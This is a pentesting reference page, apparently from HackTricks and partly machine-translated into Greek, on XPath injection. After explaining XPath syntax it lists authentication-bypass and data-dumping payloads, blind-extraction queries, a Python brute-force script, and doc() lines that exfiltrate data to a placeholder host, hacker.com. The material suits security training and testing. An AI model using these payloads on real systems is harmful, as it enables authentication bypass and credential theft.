hacktricks/pentesting-web/xpath-injection.md

16 KiB
Raw Permalink Blame History

XPATH injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Basic Syntax

Μια τεχνική επίθεσης γνωστή ως XPath Injection χρησιμοποιείται για να εκμεταλλευτεί εφαρμογές που σχηματίζουν ερωτήματα XPath (XML Path Language) με βάση την είσοδο του χρήστη για να ερωτήσουν ή να πλοηγηθούν σε έγγραφα XML.

Nodes Described

Οι εκφράσεις χρησιμοποιούνται για την επιλογή διαφόρων κόμβων σε ένα έγγραφο XML. Αυτές οι εκφράσεις και οι περιγραφές τους συνοψίζονται παρακάτω:

  • nodename: Επιλέγονται όλοι οι κόμβοι με το όνομα "nodename".
  • /: Η επιλογή γίνεται από τον ριζικό κόμβο.
  • //: Επιλέγονται οι κόμβοι που ταιριάζουν με την επιλογή από τον τρέχοντα κόμβο, ανεξάρτητα από την τοποθεσία τους στο έγγραφο.
  • .: Επιλέγεται ο τρέχων κόμβος.
  • ..: Επιλέγεται ο γονέας του τρέχοντος κόμβου.
  • @: Επιλέγονται οι ιδιότητες.

XPath Examples

Παραδείγματα εκφράσεων διαδρομής και τα αποτελέσματά τους περιλαμβάνουν:

  • bookstore: Επιλέγονται όλοι οι κόμβοι που ονομάζονται "bookstore".
  • /bookstore: Επιλέγεται το ριζικό στοιχείο bookstore. Σημειώνεται ότι μια απόλυτη διαδρομή προς ένα στοιχείο αναπαρίσταται από μια διαδρομή που ξεκινά με μια κάθετο (/).
  • bookstore/book: Επιλέγονται όλα τα στοιχεία βιβλίου που είναι παιδιά του bookstore.
  • //book: Επιλέγονται όλα τα στοιχεία βιβλίου στο έγγραφο, ανεξάρτητα από την τοποθεσία τους.
  • bookstore//book: Επιλέγονται όλα τα στοιχεία βιβλίου που είναι απόγονοι του στοιχείου bookstore, ανεξάρτητα από τη θέση τους κάτω από το στοιχείο bookstore.
  • //@lang: Επιλέγονται όλες οι ιδιότητες που ονομάζονται lang.

Utilization of Predicates

Οι προτάσεις χρησιμοποιούνται για την εξειδίκευση των επιλογών:

  • /bookstore/book[1]: Επιλέγεται το πρώτο στοιχείο βιβλίου παιδί του στοιχείου bookstore. Μια λύση για τις εκδόσεις IE 5 έως 9, οι οποίες ευρετηριάζουν τον πρώτο κόμβο ως [0], είναι η ρύθμιση της SelectionLanguage σε XPath μέσω JavaScript.
  • /bookstore/book[last()]: Επιλέγεται το τελευταίο στοιχείο βιβλίου παιδί του στοιχείου bookstore.
  • /bookstore/book[last()-1]: Επιλέγεται το προτελευταίο στοιχείο βιβλίου παιδί του στοιχείου bookstore.
  • /bookstore/book[position()<3]: Επιλέγονται τα πρώτα δύο στοιχεία βιβλίου παιδιά του στοιχείου bookstore.
  • //title[@lang]: Επιλέγονται όλα τα στοιχεία τίτλου με μια ιδιότητα lang.
  • //title[@lang='en']: Επιλέγονται όλα τα στοιχεία τίτλου με μια τιμή ιδιότητας "lang" ίση με "en".
  • /bookstore/book[price>35.00]: Επιλέγονται όλα τα στοιχεία βιβλίου του bookstore με τιμή μεγαλύτερη από 35.00.
  • /bookstore/book[price>35.00]/title: Επιλέγονται όλα τα στοιχεία τίτλου των στοιχείων βιβλίου του bookstore με τιμή μεγαλύτερη από 35.00.

Handling of Unknown Nodes

Οι χαρακτήρες μπαλαντέρ χρησιμοποιούνται για την αντιστοίχιση άγνωστων κόμβων:

  • *: Αντιστοιχεί σε οποιοδήποτε στοιχείο κόμβου.
  • @*: Αντιστοιχεί σε οποιοδήποτε κόμβο ιδιότητας.
  • node(): Αντιστοιχεί σε οποιονδήποτε κόμβο οποιουδήποτε τύπου.

Περαιτέρω παραδείγματα περιλαμβάνουν:

  • /bookstore/*: Επιλέγει όλους τους κόμβους στοιχείων παιδιών του στοιχείου bookstore.
  • //*: Επιλέγει όλα τα στοιχεία στο έγγραφο.
  • //title[@*]: Επιλέγει όλα τα στοιχεία τίτλου με τουλάχιστον μία ιδιότητα οποιουδήποτε τύπου.

Example

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Πρόσβαση στις πληροφορίες

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Αναγνώριση & κλοπή του σχήματος

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Authentication Bypass

Παράδειγμα ερωτημάτων:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OR παράκαμψη σε χρήστη και κωδικό (ίδια τιμή και στους δύο)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Κατάχρηση της ένεσης null

Username: ' or 1]%00

Διπλό OR στο Όνομα Χρήστη ή στον Κωδικό (είναι έγκυρο με μόνο 1 ευάλωτο πεδίο)

ΣΗΜΑΝΤΙΚΟ: Παρατηρήστε ότι η "και" είναι η πρώτη ενέργεια που εκτελείται.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Εξαγωγή συμβολοσειρών

Η έξοδος περιέχει συμβολοσειρές και ο χρήστης μπορεί να χειριστεί τις τιμές για να αναζητήσει:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Blind Explotation

Πάρτε το μήκος μιας τιμής και εξαγάγετέ την μέσω συγκρίσεων:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Παράδειγμα Python

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Διαβάστε το αρχείο

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB Εκμετάλλευση

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Αυτόματο εργαλείο

Αναφορές

Συμμετάσχετε στον HackenProof Discord server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς bug bounty!

Ενημερώσεις Χάκινγκ
Ασχοληθείτε με περιεχόμενο που εξερευνά τη συγκίνηση και τις προκλήσεις του hacking

Νέα Χάκινγκ σε Πραγματικό Χρόνο
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο

Τελευταίες Ανακοινώσεις
Μείνετε ενημερωμένοι με τις πιο πρόσφατες εκκινήσεις bug bounties και κρίσιμες ενημερώσεις πλατφόρμας

Συμμετάσχετε μαζί μας στο Discord και ξεκινήστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks
{% endhint %}